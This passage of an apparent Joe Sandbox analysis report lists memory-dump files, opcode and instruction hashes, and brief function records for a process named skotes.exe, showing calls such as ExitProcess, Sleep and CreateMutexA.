Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: a7a7eac2d6994afaa852049dbd6b5d17eebef29e15506238e614c8bd803accb2
Instruction ID: bcddddba74aa2cc37ab5ea522d2b9018467a803d0e2f85bceccd7506f980c4b5
Opcode Fuzzy Hash: a7a7eac2d6994afaa852049dbd6b5d17eebef29e15506238e614c8bd803accb2
Instruction Fuzzy Hash: E7A1C070A01305AFDB20DB64C845B5ABBF9FF15711F1842E9E815D7281EB31EB09DB91

Function 00B7CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B7CC66

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: 2da1f904f768ffd10dbfae6a14120fe92494f8c8e3ccc7b5903b0646902eee43
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: 15B114329046459FDB21CF28C8817AEBFE5EF45340F14C1EEE869EB242D6349D01CBA0

Function 00B5BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00B5BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00B5BBE4
_xtime_get.LIBCPMT ref: 00B5BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00B5BC13

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 08ec2cf05e1415b955c279f712d885bc58ab974127f2788f46a39a015365d5ab
Instruction ID: 1d004bc61b471d3e8e4731ff55a6e8f7035a14be8ad6fb6fe0bfb8bbc0a32744
Opcode Fuzzy Hash: 08ec2cf05e1415b955c279f712d885bc58ab974127f2788f46a39a015365d5ab
Instruction Fuzzy Hash: 56211D71A00219AFDF00EBA4D881ABEBBB9EF08711F500095F901B7251DB749D499BA1

Analysis Process: skotes.exePID: 5360, Parent PID: 5900COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1850
Total number of Limit Nodes:	15

Executed Functions

Function 007D652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,007D652A,?,?,?,?,?,007D7661), ref: 007D6567

Memory Dump Source

Source File: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000002.00000002.2398157773.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398180926.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398281777.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398307953.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398329877.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398351079.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398372219.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398504272.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398523656.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398593843.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398612662.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398631918.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398650356.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398672580.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398691780.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398717654.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398735285.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398751383.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398773044.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398793584.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398896385.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398921612.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398971684.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398995601.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399016093.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399037090.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399059059.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399078897.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399100235.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399120842.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399141916.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399161174.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399182762.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399203365.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399222702.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399242540.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399270135.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399351439.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399369474.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399391517.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399415373.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399444056.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399466042.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399485515.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399506968.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399523449.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 90dafc3d30525b7b8d4089672183953752eb88dddd4cd6280159b8f661700386
Instruction ID: 9db9355fb6535afb832eed9d87b96606edecd9bddf21f55e9e0376d08eb7778d
Opcode Fuzzy Hash: 90dafc3d30525b7b8d4089672183953752eb88dddd4cd6280159b8f661700386
Instruction Fuzzy Hash: 2DE08C30000208AECE25BF28D919A493B3AEB4174AF404811FD0A46326CB3AEDA1CA80

Function 007A9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000002.00000002.2398157773.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398180926.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398281777.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398307953.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398329877.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398351079.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398372219.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398504272.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398523656.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398593843.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398612662.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398631918.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398650356.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398672580.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398691780.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398717654.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398735285.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398751383.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398773044.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398793584.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398896385.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398921612.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398971684.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398995601.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399016093.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399037090.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399059059.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399078897.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399100235.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399120842.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399141916.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399161174.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399182762.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399203365.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399222702.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399242540.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399270135.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399351439.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399369474.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399391517.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399415373.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399444056.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399466042.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399485515.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399506968.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399523449.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6f20e00e8fd3c4ab57d31a8f42365aa2a84bca2bd204bc73083b1f5f7e938cd1
Instruction ID: 87917ad4995bfd830b2f3db514abf3ec15d42a89d7abbbf9cb014853ea5a4a9d
